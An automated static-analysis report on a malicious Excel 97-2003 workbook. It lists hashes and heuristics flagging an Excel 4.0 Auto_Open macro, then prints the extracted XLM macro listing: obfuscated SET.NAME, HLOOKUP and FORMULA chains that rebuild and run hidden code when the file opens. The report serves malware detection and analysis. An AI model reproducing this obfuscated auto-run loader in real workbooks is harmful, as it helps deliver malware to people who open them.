Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42a32e175f8059b3…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:26 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: c195f7b05bb7829ae5a000d9fb05c48d SHA-1: 837de75c317bfafcdd7596398a6af978df6b0f73 SHA-256: 42a32e175f8059b33c67160a2cc1f412757e4739c73f7af82638b4882ce89510
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6513 bytes
SHA-256: 0643a162276780e4df5c1068dc14d99ba863406bec8b8d128ffcddd44c30e0c9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bsjwAIK
' 0018     22 LABEL : Cell Value, String Constant - AfsvmFo len=0 
' 0018     20 LABEL : Cell Value, String Constant - AmPBh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I130 
' 0018     22 LABEL : Cell Value, String Constant - efGmmxX len=0 
' 0018     27 LABEL : Cell Value, String Constant - FDxAyhCGxRVK len=0 
' 0018     24 LABEL : Cell Value, String Constant - frtmuPmRb len=0 
' 0018     21 LABEL : Cell Value, String Constant - gUwXmk len=0 
' 0018     22 LABEL : Cell Value, String Constant - HdNffyQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - IcixSluefD len=0 
' 0018     21 LABEL : Cell Value, String Constant - iGAyBb len=0 
' 0018     21 LABEL : Cell Value, String Constant - JYcWjJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - msoEpUygRk len=0 
' 0018     23 LABEL : Cell Value, String Constant - mvGRAzcW len=0 
' 0018     20 LABEL : Cell Value, String Constant - QHmAc len=0 
' 0018     27 LABEL : Cell Value, String Constant - rhQcbfIJFaSE len=0 
' 0018     22 LABEL : Cell Value, String Constant - rOtSNhg len=0 
' 0018     22 LABEL : Cell Value, String Constant - Skirjjk len=0 
' 0018     22 LABEL : Cell Value, String Constant - smxMcwW len=0 
' 0018     27 LABEL : Cell Value, String Constant - taAefqnMeDnd len=0 
' 0018     20 LABEL : Cell Value, String Constant - VxWrW len=0 
' 0018     22 LABEL : Cell Value, String Constant - xkcUlKs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bsjwAIK,I42,"SET.NAME("frtmuPmRb",VALUE("0"))",""
'  bsjwAIK,I44,"SET.NAME("QHmAc",frtmuPmRb)",""
'  bsjwAIK,I46,"SET.NAME("iGAyBb",frtmuPmRb)",""
'  bsjwAIK,I50,"SET.NAME("mvGRAzcW",COUNTA(rhQcbfIJFaSE))",""
'  bsjwAIK,I54,"SET.NAME("FDxAyhCGxRVK",COUNTA(gUwXmk))",""
'  bsjwAIK,I58,[],""
'  bsjwAIK,I62,"SET.NAME("VxWrW","")",""
'  bsjwAIK,I66,"QHmAc",""
'  bsjwAIK,I70,"SET.NAME("HdNffyQ",HLOOKUP("*",rhQcbfIJFaSE,QHmAc,FALSE))",""
'  bsjwAIK,I72,"efGmmxX",""
'  bsjwAIK,I77,"SET.NAME("xkcUlKs",frtmuPmRb)",""
'  bsjwAIK,I81,[],""
'  bsjwAIK,I83,"xkcUlKs",""
'  bsjwAIK,I85,"Skirjjk",""
'  bsjwAIK,I88,"taAefqnMeDnd",""
'  bsjwAIK,I90,"msoEpUygRk",""
'  bsjwAIK,I95,"SET.NAME("JYcWjJ",VALUE(HLOOKUP("*",gUwXmk,msoEpUygRk,FALSE)))",""
'  bsjwAIK,I98,"smxMcwW",""
'  bsjwAIK,I101,"VxWrW",""
'  bsjwAIK,I106,"iGAyBb",""
'  bsjwAIK,I111,NEXT(),""
'  bsjwAIK,I115,"rOtSNhg",""
'  bsjwAIK,I118,"SET.NAME("f",INT(T(FORMULA(T(VxWrW)&"",""&T(rOtSNhg)))))",""
'  bsjwAIK,I121,"AfsvmFo",""
'  bsjwAIK,I123,NEXT(),""
'  bsjwAIK,I125,RETURN(),""
'  bsjwAIK,I154,"SET.NAME("IcixSluefD",I42)",""
'  bsjwAIK,I158,"rhQcbfIJFaSE",""
'  bsjwAIK,I163,"SET.NAME("gUwXmk",R70C12)",""
'  bsjwAIK,I167,"SET.NAME("AfsvmFo",175)",""
'  bsjwAIK,I169,"SET.NAME("AmPBh",9)",""
'  bsjwAIK,I174,IcixSluefD(),""
'  bsjwAIK,I175,HALT(),""